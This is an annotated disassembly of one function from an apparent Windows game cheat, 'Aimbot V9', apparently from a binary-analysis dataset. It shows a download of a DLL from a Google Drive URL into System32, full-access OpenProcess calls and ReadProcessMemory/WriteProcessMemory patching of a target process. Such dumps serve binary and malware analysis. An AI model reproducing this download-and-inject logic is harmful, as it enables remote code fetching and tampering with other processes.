Function at 0x140053af0
Capabilities:
Create process on windows
Create thread
Download url
Get system information on windows
Log keystrokes via polling
Receive data
Terminate process

Disassembly:
push rbp
push r13
lea rbp, [rsp - 0x548]
sub rsp, 0x648
call fcn.140047b40
mov rcx, rax
call fcn.140047e10
test eax, eax
je 0x140053b31
mov r8d, eax
mov dword [0x140244950], eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x140244958], rax
call fcn.140047b40
mov rcx, rax
call fcn.140047e10
test eax, eax
je 0x140053b64
mov r8d, eax
mov dword [0x140244950], eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x140244958], rax
test rax, rax
jne 0x140053b7d
mov r8d, Ordinal_26
lea rdx, str.Status:_No_Process_Found_
lea rcx, [0x140244a10]
call fcn.140041790
movaps xmm0, xmmword [str.https:__drive.google.com_uc_exportdownloadid1dve7TtREI9B_dRRg5FutXGFim_QKTw9o]
lea r8, [rbp + 0x70]
movzx eax, byte [0x1400ddce0]
lea rdx, [rbp + 0x10]
movaps xmm1, xmmword [0x1400ddca0]
xor r13d, r13d
movaps xmmword [rbp + 0x10], xmm0
xor r9d, r9d
movaps xmm0, xmmword [0x1400ddcb0]
xor ecx, ecx
movaps xmmword [rbp + 0x30], xmm0
movaps xmm0, xmmword [0x1400ddcd0]
mov byte [rbp + 0x60], al
mov eax, dword [0x1400dd428]
movaps xmmword [rbp + 0x50], xmm0
movups xmm0, xmmword [str.C:WindowsSystem32Bruuuh.dll]
mov dword [rbp + 0x88], eax
movzx eax, word [0x1400dd42c]
movups xmmword [rbp + 0x70], xmm0
mov word [rbp + 0x8c], ax
movsd xmm0, qword [0x1400dd420]
movzx eax, byte [0x1400dd42e]
movaps xmmword [rbp + 0x20], xmm1
movaps xmm1, xmmword [0x1400ddcc0]
movsd qword [rbp + 0x80], xmm0
movaps xmmword [rbp + 0x40], xmm1
mov byte [rbp + 0x8e], al
mov qword [rsp + 0x20], r13
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor r9d, r9d
mov qword [rsp + 0x28], r13
lea r8, [0x140048e00]
mov dword [rsp + 0x20], r13d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rcx, [0x140244a80]
call fcn.1400657a0
cmp byte [0x140244c90], r13b
jne 0x140053c74
lea rcx, [0x140244c98]
call fcn.140041400
mov rdx, rax
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov qword [rsp + 0x660], rbx
lea rax, [0x1400463e0]
mov qword [rsp + 0x668], rsi
mov edx, 0x7f00
mov qword [rsp + 0x670], rdi
xor ecx, ecx
mov qword [rsp + 0x630], r15
mov dword [rbp + 0x290], 0x50
mov dword [rbp + 0x294], 0x40
mov qword [rbp + 0x298], rax
mov qword [rbp + 0x2a0], r13
mov qword [rbp + 0x2a8], r13
call qword [sym.imp.USER32.dll_LoadIconA]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0x2b0], rax
call qword [sym.imp.USER32.dll_LoadCursorA]
lea rdi, str.Example
mov qword [rbp + 0x2c0], r13
mov qword [rbp + 0x2b8], rax
mov edx, 0x7f00
lea rax, str.ImGui
mov qword [rbp + 0x2d0], rdi
xor ecx, ecx
mov qword [rbp + 0x2c8], rax
call qword [sym.imp.USER32.dll_LoadIconA]
lea rcx, [rbp + 0x290]
mov qword [rbp + 0x2d8], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov r15d, 1
mov ecx, r15d
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
xor ecx, ecx
sub eax, edx
sar eax, 1
lea ebx, [rax - 0x121]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov qword [rsp + 0x58], r13
mov r9d, 0x80000000
mov qword [rsp + 0x50], r13
cdq
mov qword [rsp + 0x48], r13
sub eax, edx
mov rdx, qword [rbp + 0x2d0]
mov r8, rdi
mov qword [rsp + 0x40], r13
xor ecx, ecx
mov dword [rsp + 0x38], 0x242
sar eax, 1
sub eax, 0x18b
mov dword [rsp + 0x30], 0x316
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
lea rcx, str.user32.dll
mov qword [0x140223788], rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x140053e12
lea rdx, str.SetWindowCompositionAttribute
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140053e09
movdqa xmm0, xmmword [reloc.WS2_32.dll_closesocket]
lea rcx, [rbp + 0x1b8]
mov qword [rbp + 0x78], rcx
lea rdx, [rbp + 0x70]
mov rcx, rdi
mov dword [rbp + 0x70], reloc.WS2_32.dll_send
movdqu xmmword [rbp + 0x1b8], xmm0
mov dword [rbp + 0x80], reloc.WS2_32.dll_recv
call rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
movdqa xmm0, xmmword [0x1400dedf0]
lea rdx, [rbp + 0x390]
mov rcx, qword [0x140223788]
movdqu xmmword [rbp + 0x390], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov rcx, qword [0x140223788]
lea rdx, [0x140223798]
xorps xmm0, xmm0
movups xmmword [0x140223798], xmm0
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rax, qword [0x140223788]
lea rbx, [0x140249150]
mov qword [rsp + 0x58], rbx
lea rdi, [0x140249140]
mov qword [rbp + 0x40], rax
lea rsi, [0x1402490f0]
lea rax, [rbp - 0x50]
mov qword [rbp + 0x24], r13
mov qword [rsp + 0x50], rax
xor r9d, r9d
mov qword [rsp + 0x48], rdi
lea rax, [rbp + 0x10]
mov qword [rsp + 0x40], rsi
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov edx, r15d
mov dword [rsp + 0x30], 7
lea rax, [rbp - 0x60]
mov dword [rsp + 0x28], 2
xor ecx, ecx
mov qword [rsp + 0x20], rax
mov qword [rbp + 0x38], 2
mov qword [rbp + 0x50], 2
mov qword [rbp + 0x10], r13
mov dword [rbp + 0x20], Ordinal_33
mov dword [rbp + 0x18], reloc.WLDAP32.dll_Ordinal_60
mov dword [rbp + 0x1c], r15d
mov dword [rbp + 0x34], reloc.WLDAP32.dll_Ordinal_32
mov qword [rbp + 0x2c], r15
mov qword [rbp + 0x48], r15
mov dword [rbp - 0x60], 0xb000
mov dword [rbp - 0x5c], 0xa000
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
cmp eax, 0x887a0004
jne 0x140053f59
mov qword [rsp + 0x58], rbx
lea rax, [rbp - 0x50]
mov qword [rsp + 0x50], rax
xor r9d, r9d
mov qword [rsp + 0x48], rdi
lea rax, [rbp + 0x10]
mov qword [rsp + 0x40], rsi
xor r8d, r8d
mov qword [rsp + 0x38], rax
xor ecx, ecx
mov dword [rsp + 0x30], 7
lea rax, [rbp - 0x60]
mov dword [rsp + 0x28], 2
lea edx, [r9 + 5]
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
test eax, eax
je 0x140053f7e
call fcn.140046360
mov rdx, qword [rbp + 0x2a8]
mov rcx, qword [rbp + 0x2d0]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov eax, r15d
jmp 0x1400581bf
mov rcx, qword [0x1402490f0]
lea r9, [rbp - 0x58]
mov qword [rsp + 0x640], r12
lea r8, [0x1400deb58]
mov qword [rsp + 0x638], r14
xor edx, edx
movaps xmmword [rsp + 0x620], xmm6
mov rax, qword [rcx]
movaps xmmword [rsp + 0x610], xmm7
movaps xmmword [rsp + 0x600], xmm8
movaps xmmword [rsp + 0x5f0], xmm9
movaps xmmword [rsp + 0x5b0], xmm13
movaps xmmword [rsp + 0x5a0], xmm14
movaps xmmword [rsp + 0x590], xmm15
call qword [rax + 0x48]
mov rcx, qword [0x140249140]
lea r9, [0x1402490e8]
mov rdx, qword [rbp - 0x58]
xor r8d, r8d
mov rax, qword [rcx]
call qword [rax + 0x48]
mov rcx, qword [rbp - 0x58]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [0x140223788]
mov edx, 0xa
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x140223788]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov rbx, qword [0x1402236d0]
test rbx, rbx
je 0x14005403b
inc dword [rbx + 0xf4]
mov ecx, 0x5dd0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
test rax, rax
je 0x140054057
xor edx, edx
mov rcx, rax
call fcn.140001ff0
jmp 0x14005405a
mov rax, r13
mov qword [0x1402236d0], rax
call fcn.140006290
test rbx, rbx
je 0x140054074
mov qword [0x1402236d0], rbx
jmp 0x14005407b
mov rbx, qword [0x1402236d0]
test rbx, rbx
jne 0x1400540a1
mov r8d, 0xfdc
lea rdx, [0x1400cf7b0]
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x1402236d0]
movss xmm6, dword [0x1400decc4]
lea rdi, [0x1400dad98]
mov rcx, qword [rbx + 0x58]
lea rdx, [0x1400ef100]
mov qword [rsp + 0x28], rdi
movaps xmm3, xmm6
mov r8d, 0x41f54
mov qword [rsp + 0x20], r13
mov qword [rbx + 0x20], r13
call fcn.14002dd70
movss xmm3, dword [0x1400decd4]
lea rdx, [0x1401b5500]
mov rcx, qword [rbx + 0x58]
mov r8d, 0xe5c
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], r13
call fcn.14002dd70
movss xmm3, dword [0x1400dece8]
lea rdx, [0x1401b5500]
mov rcx, qword [rbx + 0x58]
mov r8d, 0xe5c
mov qword [rsp + 0x28], rdi
mov qword [0x1402236f8], rax
mov qword [rsp + 0x20], r13
call fcn.14002dd70
movss xmm3, dword [0x1400deccc]
lea rdx, [0x1401dbb20]
mov rcx, qword [rbx + 0x58]
mov r8d, 0x459d0
mov qword [rsp + 0x28], rdi
mov qword [0x140223708], rax
mov qword [rsp + 0x20], r13
call fcn.14002dd70
movss xmm7, dword [0x1400dece0]
lea rdx, [0x1401dbb20]
mov rcx, qword [rbx + 0x58]
movaps xmm3, xmm7
mov qword [rsp + 0x28], rdi
mov r8d, 0x459d0
mov qword [rsp + 0x20], r13
call fcn.14002dd70
mov rcx, qword [rbx + 0x58]
lea rdx, [0x14016c250]
movaps xmm3, xmm7
mov qword [rsp + 0x28], rdi
mov r8d, 0x492a4
mov qword [0x140223700], rax
mov qword [rsp + 0x20], r13
call fcn.14002dd70
mov rcx, qword [rbx + 0x58]
lea rdx, [0x1400ef100]
movaps xmm3, xmm6
mov qword [rsp + 0x28], rdi
mov r8d, 0x41f54
mov qword [0x1402236f0], rax
mov qword [rsp + 0x20], r13
call fcn.14002dd70
xor ecx, ecx
mov qword [0x1402236e8], rax
call fcn.1400280d0
mov rbx, qword [0x1402236d0]
mov rsi, qword [0x140223788]
test rbx, rbx
jne 0x14005421e
mov r8d, 0xfdc
lea rdx, [0x1400cf7b0]
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x1402236d0]
cmp qword [rbx + 0x98], r13
je 0x140054241
mov r8d, reloc.WS2_32.dll_WSACleanup
lea rdx, str.C:UsersAdministratorDownloadsCompressedMax._ORIGINAL
lea rcx, str.io.BackendPlatformUserData__nullptr___Already_initialized_a_platform_backend__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rcx, [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
test eax, eax
je 0x1400543ad
lea rcx, [rbp]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
test eax, eax
je 0x1400543ad
mov rax, qword [0x1402236d0]
test rax, rax
je 0x140054277
inc dword [rax + 0xf4]
mov ecx, 0x48
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
je 0x1400542a4
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rdi], xmm0
movups xmmword [rdi + 0x10], xmm0
movups xmmword [rdi + 0x20], xmm0
movups xmmword [rdi + 0x30], xmm0
mov qword [rdi + 0x40], rax
jmp 0x1400542a7
mov rdi, r13
or dword [rbx + 0xc], 6
lea rax, str.imgui_impl_win32
mov qword [rbx + 0x88], rax
mov qword [rbx + 0x98], rdi
mov rbx, qword [0x1402236d0]
mov qword [rdi], rsi
mov rax, qword [rbp - 0x48]
mov qword [rdi + 0x20], rax
mov rax, qword [rbp]
mov qword [rdi + 0x18], rax
mov dword [rdi + 0x28], 9
cmp dword [rbx + 0x4870], r13d
jg 0x140054304
mov r8d, 0x72d
lea rdx, [0x1400cf590]
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x4878]
mov rbx, r13
mov rcx, qword [rax]
lea rax, str.xinput1_4.dll
mov qword [rbp + 0x228], rax
lea rax, str.xinput1_3.dll
mov qword [rbp + 0x230], rax
lea rax, str.xinput9_1_0.dll
mov qword [rbp + 0x238], rax
lea rax, str.xinput1_2.dll
mov qword [rbp + 0x240], rax
lea rax, str.xinput1_1.dll
mov qword [rcx + 0x28], rsi
mov qword [rbp + 0x248], rax
mov byte [rdi + 0x2d], r15b
nop
mov rcx, qword [rbp + rbx*8 + 0x228]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
jne 0x140054381
inc rbx
cmp rbx, 5
jl 0x140054360
jmp 0x1400543ad
lea rdx, str.XInputGetCapabilities
mov qword [rdi + 0x30], rsi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.XInputGetState
mov rcx, rsi
mov qword [rdi + 0x38], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rdi + 0x40], rax
mov rax, qword [0x1402236d0]
mov r14, qword [0x140249150]
mov rsi, qword [0x140249140]
test rax, rax
jne 0x1400543e8
mov r8d, 0xfdc
lea rdx, [0x1400cf7b0]
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1402236d0]
lea rdi, [rax + 8]
cmp qword [rdi + 0x98], r13
je 0x140054416
mov r8d, 0x221
lea rdx, [0x1400dbde0]
lea rcx, str.io.BackendRendererUserData__nullptr___Already_initialized_a_renderer_backend__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1402236d0]
test rax, rax
je 0x140054421
inc dword [rax + 0xf4]
mov ecx, 0x78
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
je 0x140054462
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
movups xmmword [rax + 0x60], xmm0
mov dword [rax + 0x70], 0x1388
mov dword [rax + 0x74], 0x2710
jmp 0x140054465
mov rbx, r13
or dword [rdi + 4], 8
lea rax, str.imgui_impl_dx11
mov qword [rdi + 0x88], rax
lea r8, [rbp - 0x60]
mov qword [rdi + 0x98], rbx
lea rdx, [0x1400dc560]
mov rax, qword [rsi]
mov rcx, rsi
mov qword [rbp - 0x60], r13
mov qword [rbp - 0x58], r13
mov qword [rbp - 8], r13
call qword [rax]
test eax, eax
jne 0x1400544e2
mov rcx, qword [rbp - 0x60]
lea r8, [rbp - 0x58]
lea rdx, [0x1400dc570]
mov rax, qword [rcx]
call qword [rax + Ordinal_50]
test eax, eax
jne 0x1400544e2
mov rcx, qword [rbp - 0x58]
lea r8, [rbp - 8]
lea rdx, [0x1400dc580]
mov rax, qword [rcx]
call qword [rax + Ordinal_50]
test eax, eax
jne 0x1400544e2
mov qword [rbx], rsi
mov qword [rbx + 8], r14
mov rax, qword [rbp - 8]
mov qword [rbx + 0x10], rax
mov rcx, qword [rbp - 0x60]
test rcx, rcx
je 0x1400544f1
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rbp - 0x58]
test rcx, rcx
je 0x140054500
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rbx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rcx, qword [rbx + 8]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov ecx, r15d
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
xor ecx, ecx
sub eax, edx
sar eax, 1
sub eax, 0x121
movd xmm6, eax
cvtdq2ps xmm6, xmm6
call qword [sym.imp.USER32.dll_GetSystemMetrics]
movss xmm15, dword [0x1400dec64]
xorps xmm13, xmm13
movss xmm9, dword [0x1400ded20]
cdq
movss xmm14, dword [0x1400decd0]
sub eax, edx
movss xmm8, dword [0x1400ded54]
sar eax, 1
sub eax, 0x18b
movaps xmmword [rsp + 0x5e0], xmm10
movaps xmmword [rsp + 0x5d0], xmm11
movaps xmmword [rsp + 0x5c0], xmm12
movd xmm0, eax
mov rax, qword [0x1402236d0]
cvtdq2ps xmm0, xmm0
or dword [rax + 0x4778], r15d
xor bl, bl
mov qword [rax + 0x4790], r13
movss dword [rax + 0x478c], xmm6
mov dword [rbp - 0x50], ebx
movss dword [rax + 0x4788], xmm0
mov dword [rax + 0x477c], r15d
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor r8d, r8d
lea rcx, [rbp + 0x3a0]
xor edx, edx
lea r14, [0x1402237d8]
mov r12d, 0x4857
lea rdi, [0x140244990]
movabs rsi, 0x7fffffffffff
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x140054651
nop word [rax + rax]
lea rcx, [rbp + 0x3a0]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x3a0]
call qword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [rbp + 0x3a8], 0x12
lea rcx, [rbp + 0x3a0]
movzx ebx, bl
cmove ebx, r15d
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x140054600
mov dword [rbp - 0x50], ebx
test bl, bl
jne 0x140057f30
mov ecx, reloc.WLDAP32.dll_Ordinal_46
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
jne 0x1400581ff
mov ecx, dword [0x140223790]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140054817
call fcn.140047b40
mov rcx, rax
call fcn.140047e10
test eax, eax
je 0x1400546ab
mov r8d, eax
mov dword [0x140244950], eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x140244958], rax
test rax, rax
jne 0x1400546b7
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140058a70
lea rcx, [rbp + 0x228]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [0x140244990]
cmp rax, qword [0x140244998]
je 0x1400546db
mov qword [0x140244998], rax
mov r9, qword [0x1402449a8]
mov r8, rsi
xor edx, edx
mov qword [rsp + 0x20], rdi
call fcn.140048040
mov rax, qword [0x140244990]
mov rdx, qword [0x140244998]
cmp rax, rdx
jne 0x140054726
mov edx, 0x3e8
mov ecx, 0x190
call qword [sym.imp.KERNEL32.dll_Beep]
lea rdx, str.Aimbot_V9_:_Inject_Error_
mov r8d, Ordinal_26
jmp 0x1400547fe
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
sub rdx, rax
sar rdx, 3
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov rcx, rax
lea rdx, [0x140058c20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword [0x140244998]
mov esi, r13d
mov rdx, qword [0x140244990]
sub rax, rdx
sar rax, 3
test rax, rax
je 0x1400547d7
mov rdi, r13
nop word [rax + rax]
mov rbx, qword [rdi + rdx]
lea r8, [rbp - 8]
mov rcx, qword [0x140244958]
mov r9d, 4
mov qword [rsp + 0x20], r13
lea rdx, [rbx + 0x60]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rcx, qword [0x140244958]
lea rdx, [rbx + 0x5c]
mov r9d, 4
mov qword [rsp + 0x20], r13
lea r8, [rbp - 8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [0x140244998]
lea rdi, [rdi + 8]
mov rdx, qword [0x140244990]
inc esi
sub rcx, rdx
movsxd rax, esi
sar rcx, 3
cmp rax, rcx
jb 0x140054770
mov edx, 0x1c2
mov ecx, 0x352
call qword [sym.imp.KERNEL32.dll_Beep]
lea rdx, str.Aimbot_V9_:_Injected_
mov r8d, reloc.WS2_32.dll_setsockopt
movabs rsi, 0x7fffffffffff
lea rcx, [0x140244a10]
call fcn.140041790
mov rcx, qword [0x140244958]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x140223834]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x14005482e
mov byte [0x14022489c], 1
mov ecx, dword [0x140223724]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x1400548cc
lea rdx, [0x1400dc918]
lea rcx, [rbp + 0x228]
call fcn.140041520
lea rdx, [0x1400cfcca]
mov rdi, rax
lea rcx, [rbp + 0x2e0]
call fcn.140041520
lea rdx, [0x1400cfcca]
mov rbx, rax
lea rcx, [rbp + 0x300]
call fcn.140041520
xorps xmm0, xmm0
mov qword [rsp + 0x30], rdi
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x28], rbx
lea rdx, [rsp + 0x60]
mov r9, rsi
mov word [rsp + 0x60], r12w
xor r8d, r8d
mov byte [rsp + 0x62], 0
lea rcx, [0x1402228b8]
mov qword [rsp + 0x70], 2
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x20], rax
call fcn.140046ce0
mov ecx, dword [0x140223710]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x14005497d
mov eax, dword [0x1400dc974]
lea rdx, [0x1400cfcca]
xorps xmm0, xmm0
mov qword [rsp + 0x70], 3
movups xmmword [rsp + 0x60], xmm0
mov word [rsp + 0x60], ax
lea rcx, [rbp + 0x228]
movzx eax, byte [0x1400dc976]
mov byte [rsp + 0x62], al
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x63], 0
call fcn.140041520
lea rdx, [0x1400cfcca]
mov rdi, rax
lea rcx, [rbp + 0x2e0]
call fcn.140041520
lea rdx, [0x1400dc974]
mov rbx, rax
lea rcx, [rbp + 0x300]
call fcn.140041520
lea rcx, [rsp + 0x60]
mov r9, rsi
mov qword [rsp + 0x30], rcx
xor r8d, r8d
mov qword [rsp + 0x28], rdi
lea rcx, [0x1402228b8]
mov rdx, rax
mov qword [rsp + 0x20], rbx
call fcn.140046ce0
mov rbx, qword [0x1402236d0]
test rbx, rbx
je 0x140054997
mov rbx, qword [rbx + 0xa0]
test rbx, rbx
jne 0x1400549b4
jmp 0x14005499a
mov rbx, r13
mov r8d, 0x250
lea rdx, [0x1400dbde0]
lea rcx, str.bd___nullptr___Did_you_call_ImGui_ImplDX11_Init____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
cmp qword [rbx + 0x48], 0
jne 0x1400549c0
call fcn.1400432f0
call fcn.1400444a0
call fcn.140008ab0
mov rbx, qword [0x1402236d0]
movaps xmm0, xmmword [0x1400def10]
movaps xmm1, xmmword [0x1400deff0]
or dword [rbx + 0x4778], 3
mov dword [rbx + 0x4798], 0x44458000
mov dword [rbx + 0x479c], 0x44108000
mov dword [rbx + 0x4780], r15d
mov qword [rbx + 0x4788], 0
mov qword [rbx + 0x4790], 0
mov dword [rbx + 0x477c], r15d
movups xmmword [rbx + 0x38c8], xmm0
mov qword [rbx + 0x37f0], 0x41000000
movaps xmm0, xmmword [0x1400defb0]
movups xmmword [rbx + 0x38d8], xmm1
mov qword [rbx + 0x37e8], 0
movaps xmm1, xmmword [0x1400df080]
movups xmmword [rbx + 0x38e8], xmm0
mov dword [rbx + 0x380c], 0x40e00000
movaps xmm0, xmmword [0x1400dee50]
movups xmmword [rbx + 0x38b8], xmm1
mov qword [rbx + 0x3814], 0x40a00000
movaps xmm1, xmmword [0x1400def20]
movups xmmword [rbx + 0x38f8], xmm0
mov qword [rbx + 0x3824], 0x40800000
movups xmmword [rbx + 0x3b98], xmm1
mov dword [rbx + 0x3854], 0x40000000
mov dword [rbx + 0x381c], 0x40c00000
mov dword [rbx + 0x3820], 0x40400000
mov qword [rbx + 0x3834], 0x41200000
mov dword [rbx + 0x382c], r13d
mov dword [rbx + 0x3830], 0x41200000
cmp qword [0x1402237d8], 0
mov qword [rbp + 0x10], 0xffffffffffffffff
mov qword [rbp + 0x18], 0xffffffffffffffff
mov qword [rbp + 0x20], 0xffffffffffffffff
mov qword [rbp + 0x28], 0xffffffffffffffff
mov dword [rbp + 0x30], 0xffffffff
mov qword [rbp + 0x34], 0xfffffffffffffffd
mov dword [rbp + 0x3c], 0xffffffff
mov qword [rbp + 0x40], r13
jne 0x140054b4c
mov rcx, qword [0x140249140]
lea r9, [rbp + 0x10]
mov qword [rsp + 0x30], r13
lea rdx, [0x140131060]
mov qword [rsp + 0x28], r14
mov r8d, 0x3b1eb
mov qword [rsp + 0x20], r13
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov rbx, qword [0x1402236d0]
cmp dword [rbx + 0x4870], 0
jg 0x140054b6f
mov r8d, 0x72d
lea rdx, [0x1400cf590]
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x4878]
lea r8, str.Background
xor edx, edx
mov rcx, qword [rax]
call fcn.140008120
movaps xmm0, xmmword [0x1400df0c0]
lea rcx, [rbp - 0x48]
movups xmmword [rbp - 0x48], xmm0
mov r10, rax
mov dword [rbp + 0x1a0], 0x3f800000
mov dword [rbp + 0x1a4], 0x3f800000
mov qword [rbp + 0x1a8], 0
mov dword [rbp + 0x1b0], 0x44f00000
mov dword [rbp + 0x1b4], 0x44870000
mov qword [rbp + 0x1c8], 0
call fcn.1400042a0
mov rdx, qword [0x1402237a8]
lea r9, [rbp + 0x1b0]
mov dword [rsp + 0x30], eax
lea r8, [rbp + 0x1c8]
lea rax, [rbp + 0x1a0]
mov rcx, r10
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x1a8]
mov qword [rsp + 0x20], rax
call fcn.14002c5d0
lea rcx, [rbp + 0x1b8]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
cmp byte [0x1402236cb], 0
movzx r12d, word [rbp + 0x1b8]
movzx r15d, word [rbp + 0x1ba]
movzx r14d, word [rbp + 0x1be]
jne 0x1400554d9
mov r8d, 0x20ab
lea rdx, reloc.WS2_32.dll_accept
lea rcx, str.Hello__world_
call fcn.14000fa00
call fcn.140046510
mov rcx, qword [0x140223788]
lea rdx, [0x140223798]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rbx, qword [0x1402236d0]
mov rax, qword [rbx + 0x3ea0]
movss xmm2, dword [rax + 0x18]
ucomiss xmm2, xmm13
movss xmm1, dword [rax + 0x1c]
jp 0x140054ca1
jne 0x140054ca1
ucomiss xmm1, xmm13
jp 0x140054ca1
je 0x140054d1a
movd xmm0, dword [0x14022379c]
mov r9d, 0x316
mov rcx, qword [0x140223788]
cvtdq2ps xmm0, xmm0
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0x242
addss xmm0, xmm1
movd xmm1, dword [0x140223798]
cvtdq2ps xmm1, xmm1
cvttss2si r8d, xmm0
addss xmm1, xmm2
cvttss2si edx, xmm1
call qword [sym.imp.USER32.dll_MoveWindow]
mov rcx, qword [0x1402236d0]
lea rdx, [rbp + 0x1d0]
xor r8d, r8d
mov qword [rbp + 0x1d0], 0
mov rcx, qword [rcx + 0x3ea0]
call fcn.140013150
mov rbx, qword [0x1402236d0]
cmp dword [rbx + 0x4870], 0
jg 0x140054d3d
mov r8d, 0x72d
lea rdx, [0x1400cf590]
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
